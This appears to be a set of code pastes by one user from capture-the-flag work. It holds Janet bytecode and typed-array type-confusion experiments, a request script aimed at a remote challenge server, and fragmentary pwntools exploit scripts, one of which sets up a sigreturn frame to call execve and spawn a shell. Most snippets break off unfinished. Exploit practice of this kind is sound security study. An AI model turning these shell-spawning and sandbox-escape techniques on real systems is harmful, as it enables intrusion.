lionaneesh

(def some
(asm                                                         
'{                                                         
  constants @["blah" print]
  :arity 0
  slotcount 2                               
  bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]
}
))
                                                                            

lionaneesh

(def some
(asm                                                         
'{                                                         
  constants @["blah" print]
  :arity 0
  slotcount 2                               
  bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]
}
))
                                                                            

lionaneesh

(def some
(asm
'{
  constants @["blah" print]
  :arity 0
  slotcount 2
  bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]
}
))

lionaneesh

(def some
(asm
'{
  constants @["blah" print]
  :arity 0
  slotcount 2
  bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]
}
))

lionaneesh

(def buffer (tarray/buffer 8))
(def buffer-float64-view (tarray/new :float64 1 1 0 buffer))
(def buffer-uint32-view (tarray/new :uint32 2 1 0 buffer))

(set (buffer-uint32-view 1) 0xfffe9234)
(set (buffer-uint32-view 0) 0x56789abc)

(print "object: " (buffer-float64-view 0))
(print "  type: " (type (buffer-float64-view 0)))

lionaneesh

import requests

url = "http://34.72.244.178:8085/"
proxy = {"http":"http://127.0.0.1:8080"}
results = {}

funcs = "% %= * *= + ++ += - -- -= -> ->> -?> -?>> / /= < <= = == > >= abstract? all all-bindings all-dynamics and apply array array/concat array/ensure array/insert array/new array/peek array/pop array/push array/remove array/slice array? as-> as?-> asm bad-compile bad-parse band blshift bnot boolean? bor brshift brushift buffer buffer/bit buffer/bit-clear buffer/bit-set buffer/bit-toggle buffer/blit buffer/clear buffer/format buffer/new buffer/new-filled buffer/popn buffer/push-byte buffer/push-string buffer/push-word buffer/slice buffer? bxor bytes? case cfunction? comment comp compile complement cond coro count debug debug/arg-stack debug/break debug/fbreak debug/lineage debug/stack debug/stacktrace debug/unbreak debug/unfbreak dec deep-not= deep= def- default defglobal defmacro defmacro- defn defn- describe dictionary? disasm distinct doc doc* doc-format dofile drop drop-until drop-while dyn each em

lionaneesh

(def hello2
  (asm
    '{max-arity 0
      constants @["abc" ,print]
      arity 0
      slotcount 2
      bytecode @[(ldc 1 0) (push 1) (ldc 1 1) (noop) (tcall 1)]
      min-arity 0}))

(hello2)

lionaneesh

from pwn import *

p = process('./some-really-ordinary-program')
#p = remote("challenge.nahamcon.com", 32119)

data = 0x402000 + 0x1f4 # added 0x1f4 to avoid going out of bounds stack in main, note main does sub esp, 0x1f4
main = 0x401022
syscall_ret = 0x40101f

# frame to call execve

lionaneesh

from pwn import *
binary = ELF("./moving-signals")
pr = process("./moving-signals")
#pr = remote("161.97.176.150", 2525)
buff = 0x7ffd4ac736b0
pop_rax_ret = 0x0000000000041018
binshstr = 0x41250
syscall_ret = 0x41015
frame = SigreturnFrame(arch="amd64", kernel="amd64")
frame.rax = 59

lionaneesh

from pwn import *
r = remote('jh2i.com', 50016)
#r = process('./saas')

def syscall(a2):
    print ("syscall", a2)
    for a in a2:
        txt = r.recv(timeout=2).strip()
        print (txt.strip(), len(txt))
        r.sendline(str(a))